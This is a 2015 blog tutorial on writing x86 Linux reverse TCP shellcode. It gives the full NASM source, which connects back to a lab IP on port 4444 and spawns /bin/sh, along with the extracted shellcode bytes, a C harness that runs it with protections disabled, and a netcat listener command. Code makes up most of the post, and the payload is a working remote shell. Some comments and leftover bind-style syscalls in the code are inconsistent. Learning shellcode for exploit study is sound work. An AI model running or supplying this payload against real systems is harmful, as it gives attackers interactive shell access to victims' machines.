Monday, January 5, 2015

Creating a Shell Reverse TCP Shellcode

To write a reverse tcp shell, we'll build on what we did for the bind_tcp. The difference is that the reverse tcp code initiates the connection back to the attacking machine. We're going to make few changes to the bind_tcp code since both use the same call to socket. The connect() function will take an ip address as input. If you recall in the bind_tcp call setup, we set the value of in connect() to zero. In this case we'll feed in an ip address (in hex ofcourse) and in reverse due to the arrangement of the stack. In my little lab, I used the ip address 192.168.62.132 which is 0x843EA8C0. The only other difference we'll make to the code will be loading EBX with the value 3 which is a call to connect(). The whole code can be got from my github.

global _start
section .text
_start:
; socket(int domain, int type, int protocol);
; s = socket(2, 1, 0)
xor eax, eax ; zero out eax register
mov al, 0x66 ; mov 0x66 (102 socketcall) into eax register
xor ebx, ebx ; ebx carries the type of socketcall
mov bl, 1 ; which we saw from out net.h file is 1
xor edx, edx ; Zero out edx . value of array are pushed in reverse order
push edx ; push zero onto the stack protocol = 0 (arg array build)
push BYTE 1 ; push sockstream=1 value onto the stack
push BYTE 2 ; push AF_INET = 2 onto the stack
mov ecx, esp ; ecx = ptr to argument array
int 0x80 ; After syscall, eax has socket file descriptor.
mov esi, eax ; move value of sock descriptor into esi
; bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; connect(s, [2, 4444, 192.168.62.132], 16)
xor eax, eax ; zero out eax register
mov al, 0x66 ; mov 0x66 (102 socketcall) into eax register
mov bl, 2 ; move 2 into ebx since SYS_BIND number from net.h is 2
push edx ; Build sockaddr struct: INADDR_ANY = 0
push DWORD 0x843EA8c0 ; IP address 192.168.62.132
push WORD 0x5c11; port 4444 pushed onto the stack in reverse order
push WORD bx ; push 2 onto the stack because AF_INET = 2
mov ecx, esp ; ecx = ptr to arguement array
push BYTE 16 ; size of server struct
push ecx
push esi
mov ecx, esp
inc ebx ; ebx is now 3 which is SYS_CONNECT for connect()
int 0x80
; listen(int sockfd, int backlog);
; listen(s, 0)
mov al, 0x66 ;mov 0x66 (102 socketcall) into eax register
inc ebx
inc ebx ; ebx is now 4 SYS_LISTEN = 4
push ebx ;
push esi ;
mov ecx, esp ; ecx = ptr to argument array
int 0x80
; accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; c = accept(s, 0, 0)
mov al, 0x66 ; mov 0x66 (102 socketcall) into eax register
inc ebx ; ebx is now 5 since SYS_ACCEPT = 5
push edx ; argv: { socklen = 0, sockaddr ptr = NULL,socket fd }
push edx
push esi
mov ecx, esp ; ecx = ptr to argument array
int 0x80 ;
; int dup2(int oldfd, int newfd);
; dup2(connected socket, {all three standard I/O file descriptors})
mov ebx, eax ; since the sockfd left off with EAX register we'll move it onto ebx
xor eax, eax ; zero out the eax register and prepare to load it with dup2 syscall
mov al, 0x3F ; dup2 syscall number is 63
xor ecx, ecx ; load ecx with zero which is the value = standard input
int 0x80 ;
mov al,0x3F ; dup2 syscall is 63
add ecx, 1 ; add 1 to ecx = standard output
int 0x80 ;
mov al, 0x3F ; dup2 syscall is 63
add ecx,1 ; add 1 to ecx=2=standard error
int 0x80 ;
; execve(const char *filename, char *const argv [], char *const envp[])
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh loaded in reverse order (8 bytes)
push 0x68732f2f ;//sh
push 0x6e69622f ;/bin
mov ebx, esp ;because ebx points to the //bin/ls
push eax ; push 32bit null terminator to the stack
mov edx, esp ; empty array for envp
push ebx ; address of where //bin/ls is
mov ecx, esp ; this is the argv array with string ptr
mov al, 11 ;syscall for execve
int 0x80
 We can assemble and link the above nasm code using this simple compile.sh script. When using the script, drop the .nasm at the end of the filename for example if you've named the shell_reverse_tcp.nasm, when compiling with compile.sh, just do "./compile.sh shell_reverse_tcp"
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -f elf32 -o $1.o $1.nasm
echo '[+] Linking ...'
ld -o $1 $1.o
echo '[+] Done!'
view raw compile.sh hosted with ❤ by GitHub
Next we use objdump to check for nulls since we know nulls in most cases kill shellcode. We run "./objdump -d shell_reverse_tcp -M intel" You can use whatever syntax suits you mine is intel. The default syntax is AT&T. After establishing the absence of nulls we then extract the shellcode using this code from commandlinefu.
objdump -d shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
view raw objdump hosted with ❤ by GitHub
This gives us the following shellcode.

"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\xb0\x66\xb3\x02\x52\x68\xc0\xa8\x3e\x84\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x83\xc1\x01\xcd\x80\xb0\x3f\x83\xc1\x01\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80".

 We then go ahead and paste the shellcode into the c program below to test our shellcode. Compile the shellcode.c with the syntax "gcc -fno-stack-protector -z execstack shellcode.c -o shellcode" then run shellcode "./shellcode". To test this shellcode we'll need two systems (VMs) open port 4444 on one system (attacking). You can use netcat "nc -lvp 4444" to open 4444 on the attacking system. Then run the shellcode on the victim system (dont forget to set the the IP and appropriate port (4444 in my case) as shown in the nasm code). After running the shellcode, a connection should be established on the attacking system. Run "netstat -ntlp" on the victim system for confirmation it should show an established connection to the attacking system.
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"paste your shellcode here";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
view raw shellcode.c hosted with ❤ by GitHub

No comments:

Post a Comment